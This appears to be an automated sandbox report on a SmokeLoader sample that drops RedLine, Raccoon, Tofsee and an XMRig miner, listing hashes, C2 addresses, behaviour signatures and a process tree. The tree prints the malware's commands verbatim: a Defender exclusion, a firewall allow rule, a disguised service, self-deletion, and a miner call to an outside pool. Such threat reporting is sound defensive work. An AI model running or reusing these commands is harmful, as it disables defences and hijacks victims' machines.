Analysis

  • max time kernel
    63s
  • max time network
    199s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29-09-2021 14:13

General

  • Target

    438215ec552fef4a43a10c331d658c04.exe

  • Size

    128KB

  • MD5

    438215ec552fef4a43a10c331d658c04

  • SHA1

    a4941168e1269993b195b84fa272870c58bd6c10

  • SHA256

    e01749cfd587ae7029247ef900df2eb0e89e2fc594ca665d460a73bfa9564647

  • SHA512

    a3da5a1969e2166e3c0091c749f171c7c8ac915fe12873fce81af7d4f3fc5fab609f3b5cefbafde4b617fa4c64745b7a7e50d6194acfb1850c13b8e13accf302

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

redline

C2

92.246.89.6:38437

Extracted

Family

redline

Botnet

777777

C2

193.56.146.60:18243

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

5k superstar

C2

narlelalik.xyz:12509

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 7 IoCs
  • XMRig Miner Payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 10 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe
    "C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe
      "C:\Users\Admin\AppData\Local\Temp\438215ec552fef4a43a10c331d658c04.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:524
  • C:\Users\Admin\AppData\Local\Temp\B3B4.exe
    C:\Users\Admin\AppData\Local\Temp\B3B4.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:528
    • C:\Users\Admin\AppData\Local\Temp\B3B4.exe
      C:\Users\Admin\AppData\Local\Temp\B3B4.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1536
  • C:\Users\Admin\AppData\Local\Temp\BC9B.exe
    C:\Users\Admin\AppData\Local\Temp\BC9B.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\BC9B.exe
      C:\Users\Admin\AppData\Local\Temp\BC9B.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1680
  • C:\Users\Admin\AppData\Local\Temp\DAB6.exe
    C:\Users\Admin\AppData\Local\Temp\DAB6.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Users\Admin\AppData\Roaming\DAB6.exe
      "C:\Users\Admin\AppData\Roaming\DAB6.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:528
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:2264
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:2312
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\DAB6.exe
            3⤵
              PID:2416
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:2480
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1948
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                3⤵
                  PID:1412
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del DAB6.exe
                2⤵
                  PID:1792
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 0
                    3⤵
                      PID:1616
                • C:\Users\Admin\AppData\Local\Temp\EBC7.exe
                  C:\Users\Admin\AppData\Local\Temp\EBC7.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1092
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dtwmlorz\
                    2⤵
                      PID:628
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ubecddth.exe" C:\Windows\SysWOW64\dtwmlorz\
                      2⤵
                        PID:548
                      • C:\Windows\SysWOW64\sc.exe
                        "C:\Windows\System32\sc.exe" create dtwmlorz binPath= "C:\Windows\SysWOW64\dtwmlorz\ubecddth.exe /d\"C:\Users\Admin\AppData\Local\Temp\EBC7.exe\"" type= own start= auto DisplayName= "wifi support"
                        2⤵
                          PID:968
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" description dtwmlorz "wifi internet conection"
                          2⤵
                            PID:972
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" start dtwmlorz
                            2⤵
                              PID:1964
                            • C:\Windows\SysWOW64\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                              2⤵
                                PID:2000
                            • C:\Users\Admin\AppData\Local\Temp\F4EC.exe
                              C:\Users\Admin\AppData\Local\Temp\F4EC.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:664
                              • C:\Users\Admin\AppData\Local\Temp\ced07b10-6160-4028-beae-8e4d81774ee0\AdvancedRun.exe
                                "C:\Users\Admin\AppData\Local\Temp\ced07b10-6160-4028-beae-8e4d81774ee0\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ced07b10-6160-4028-beae-8e4d81774ee0\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                2⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1476
                                • C:\Users\Admin\AppData\Local\Temp\ced07b10-6160-4028-beae-8e4d81774ee0\AdvancedRun.exe
                                  "C:\Users\Admin\AppData\Local\Temp\ced07b10-6160-4028-beae-8e4d81774ee0\AdvancedRun.exe" /SpecialRun 4101d8 1476
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1336
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\F4EC.exe" -Force
                                2⤵
                                  PID:1328
                                • C:\Users\Admin\AppData\Local\Temp\F4EC.exe
                                  "C:\Users\Admin\AppData\Local\Temp\F4EC.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1728
                                • C:\Users\Admin\AppData\Local\Temp\F4EC.exe
                                  "C:\Users\Admin\AppData\Local\Temp\F4EC.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1008
                                • C:\Users\Admin\AppData\Local\Temp\F4EC.exe
                                  "C:\Users\Admin\AppData\Local\Temp\F4EC.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1976
                              • C:\Windows\SysWOW64\dtwmlorz\ubecddth.exe
                                C:\Windows\SysWOW64\dtwmlorz\ubecddth.exe /d"C:\Users\Admin\AppData\Local\Temp\EBC7.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:1904
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe
                                  2⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:2028
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                    3⤵
                                      PID:2648
                                • C:\Users\Admin\AppData\Local\Temp\1134.exe
                                  C:\Users\Admin\AppData\Local\Temp\1134.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Enumerates connected drives
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1992
                                  • C:\Windows\SysWOW64\msiexec.exe
                                    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management 1.7.3.2\install\97C955F\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\1134.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632931887 " AI_EUIMSI=""
                                    2⤵
                                    • Blocklisted process makes network request
                                    • Enumerates connected drives
                                    • Suspicious use of FindShellTrayWindow
                                    PID:372
                                • C:\Windows\system32\msiexec.exe
                                  C:\Windows\system32\msiexec.exe /V
                                  1⤵
                                  • Blocklisted process makes network request
                                  • Enumerates connected drives
                                  • Drops file in Windows directory
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1304
                                  • C:\Windows\syswow64\MsiExec.exe
                                    C:\Windows\syswow64\MsiExec.exe -Embedding 49BADF74F1A4DC9FBBDC0589A9D7A359 C
                                    2⤵
                                    • Loads dropped DLL
                                    PID:1964
                                  • C:\Windows\syswow64\MsiExec.exe
                                    C:\Windows\syswow64\MsiExec.exe -Embedding 38EA8533F3F5A785C717E15B3B3C57FC
                                    2⤵
                                    • Loads dropped DLL
                                    PID:1420
                                  • C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe
                                    "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe"
                                    2⤵
                                      PID:2440
                                  • C:\Users\Admin\AppData\Local\Temp\1E30.exe
                                    C:\Users\Admin\AppData\Local\Temp\1E30.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:1904
                                  • C:\Users\Admin\AppData\Local\Temp\2A70.exe
                                    C:\Users\Admin\AppData\Local\Temp\2A70.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:972
                                  • C:\Users\Admin\AppData\Local\Temp\3D26.exe
                                    C:\Users\Admin\AppData\Local\Temp\3D26.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:2284
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "cmd" /c cmd < Disegnato.accdt
                                      2⤵
                                        PID:2324
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd
                                          3⤵
                                            PID:2356
                                            • C:\Windows\SysWOW64\findstr.exe
                                              findstr /V /R "^jdBXEbiICLfWHIEKiKDpCGJMhheipdUFFbTuIYbnunkESZAKxLCvDshGHOJdxqnjRKspPbwohtetxtThNsMbNbwgpjnTfutuZYMoIdVXJxpmgpkCUcCehqnzJrZDZoTuqWycaLEb$" Sottrarre.accdt
                                              4⤵
                                                PID:2368
                                              • C:\Users\Admin\AppData\Roaming\Mio.exe.com
                                                Mio.exe.com W
                                                4⤵
                                                  PID:2380
                                                  • C:\Users\Admin\AppData\Roaming\Mio.exe.com
                                                    C:\Users\Admin\AppData\Roaming\Mio.exe.com W
                                                    5⤵
                                                      PID:2492
                                                  • C:\Windows\SysWOW64\PING.EXE
                                                    ping localhost
                                                    4⤵
                                                    • Runs ping.exe
                                                    PID:2392

                                            Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/524-59-0x0000000000400000-0x0000000000409000-memory.dmp

                                              Filesize

                                              36KB

                                            • memory/524-61-0x0000000075D11000-0x0000000075D13000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/528-215-0x0000000000A50000-0x0000000000A7A000-memory.dmp

                                              Filesize

                                              168KB

                                            • memory/528-121-0x0000000004810000-0x0000000004811000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/528-113-0x00000000012E0000-0x00000000012E1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/664-134-0x0000000005440000-0x00000000054B9000-memory.dmp

                                              Filesize

                                              484KB

                                            • memory/664-106-0x0000000000640000-0x0000000000641000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/664-101-0x0000000000370000-0x0000000000371000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/972-231-0x00000000047F3000-0x00000000047F4000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/972-226-0x0000000000400000-0x0000000000454000-memory.dmp

                                              Filesize

                                              336KB

                                            • memory/972-227-0x00000000047F1000-0x00000000047F2000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/972-230-0x00000000047F2000-0x00000000047F3000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/972-220-0x00000000004A0000-0x00000000004BF000-memory.dmp

                                              Filesize

                                              124KB

                                            • memory/972-224-0x00000000002B0000-0x00000000002E0000-memory.dmp

                                              Filesize

                                              192KB

                                            • memory/972-232-0x00000000047F4000-0x00000000047F6000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/972-222-0x0000000001FB0000-0x0000000001FCE000-memory.dmp

                                              Filesize

                                              120KB

                                            • memory/1092-105-0x0000000000400000-0x0000000000431000-memory.dmp

                                              Filesize

                                              196KB

                                            • memory/1092-104-0x0000000000220000-0x0000000000233000-memory.dmp

                                              Filesize

                                              76KB

                                            • memory/1220-85-0x0000000003B30000-0x0000000003B45000-memory.dmp

                                              Filesize

                                              84KB

                                            • memory/1220-63-0x0000000003AF0000-0x0000000003B05000-memory.dmp

                                              Filesize

                                              84KB

                                            • memory/1304-153-0x000007FEFC251000-0x000007FEFC253000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1328-204-0x0000000006050000-0x0000000006051000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-199-0x0000000005650000-0x0000000005651000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-223-0x0000000006230000-0x0000000006231000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-177-0x0000000000DF0000-0x0000000000DF1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-180-0x0000000004860000-0x0000000004861000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-181-0x00000000024D0000-0x00000000024D1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-206-0x000000007EF30000-0x000000007EF31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-207-0x00000000060A0000-0x00000000060A1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-218-0x00000000061C0000-0x00000000061C1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-185-0x0000000004822000-0x0000000004823000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-184-0x0000000004820000-0x0000000004821000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1328-189-0x00000000052D0000-0x00000000052D1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1516-93-0x0000000002260000-0x0000000002261000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1516-89-0x0000000000140000-0x0000000000141000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1516-91-0x0000000000470000-0x00000000004C1000-memory.dmp

                                              Filesize

                                              324KB

                                            • memory/1516-92-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1680-82-0x0000000000400000-0x0000000000422000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/1680-79-0x0000000000400000-0x0000000000422000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/1680-84-0x0000000004340000-0x0000000004341000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1712-75-0x0000000000C10000-0x0000000000C11000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1712-78-0x0000000004B40000-0x0000000004B41000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1904-187-0x0000000000300000-0x0000000000390000-memory.dmp

                                              Filesize

                                              576KB

                                            • memory/1904-130-0x0000000000400000-0x0000000000431000-memory.dmp

                                              Filesize

                                              196KB

                                            • memory/1904-188-0x0000000000400000-0x0000000000493000-memory.dmp

                                              Filesize

                                              588KB

                                            • memory/1976-173-0x0000000000400000-0x0000000000422000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/1976-186-0x0000000002030000-0x0000000002031000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1976-178-0x0000000000400000-0x0000000000422000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/2000-62-0x00000000001B0000-0x00000000001B9000-memory.dmp

                                              Filesize

                                              36KB

                                            • memory/2028-131-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                              Filesize

                                              84KB